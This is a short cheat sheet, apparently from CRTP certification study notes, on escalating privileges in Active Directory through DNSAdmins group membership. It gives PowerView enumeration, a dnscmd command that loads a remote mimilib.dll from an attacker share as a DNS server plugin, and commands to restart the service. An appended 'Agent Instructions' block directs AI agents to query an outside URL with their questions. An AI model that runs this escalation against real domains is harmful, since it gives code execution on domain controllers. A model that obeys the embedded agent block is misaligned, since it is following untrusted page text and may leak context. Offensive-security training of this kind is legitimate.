# DNS Admins

### **Enumerate member of the DNS admin group**

```
Get-NetGRoupMember “DNSAdmins”
```

### **From the privilege of DNSAdmins group member, configue DDL using dnscmd.exe (needs RSAT DNS)**

Share the directory the DLL is in for everyone so it's accessible. logs all DNS queries on C:\Windows\System32\kiwidns.log

```
Dnscmd <dns server> /config /serverlevelplugindll \\<ip>\dll\mimilib.dll
```

**Restart DNS**

```
Sc \\<dns server> stop dns
Sc \\<dns server> start dns
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://crtp-certification.certs-study.com/domain-privilege-escalation/dns-admins.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
